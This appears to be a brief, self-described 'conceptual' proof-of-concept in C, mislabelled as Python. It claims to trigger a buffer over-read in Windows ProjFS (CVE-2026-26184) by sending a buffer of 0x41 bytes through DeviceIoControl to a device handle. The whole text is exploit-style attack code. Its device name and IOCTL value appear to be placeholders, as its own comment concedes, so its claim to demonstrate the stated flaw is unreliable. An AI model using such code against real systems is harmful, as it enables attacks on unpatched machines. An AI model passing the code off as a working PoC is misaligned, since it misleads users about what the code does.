The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-26184 (Conceptual)
// This code demonstrates triggering the buffer over-read in ProjFS
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char buffer[1024];
// Attempt to interact with the vulnerable component
// Note: Actual IOCTL/FSCTL code would be specific to the vulnerability
hDevice = CreateFileA("\\\\.\\ProjFS_Vulnerable", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open handle to device. Error: %d\n", GetLastError());
return 1;
}
// Prepare buffer that triggers the over-read logic
memset(buffer, 0x41, sizeof(buffer));
// Trigger the vulnerability
if (DeviceIoControl(hDevice, 0x222003, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL)) {
printf("Potentially triggered the vulnerability.\n");
} else {
printf("DeviceIoControl failed. Error: %d\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}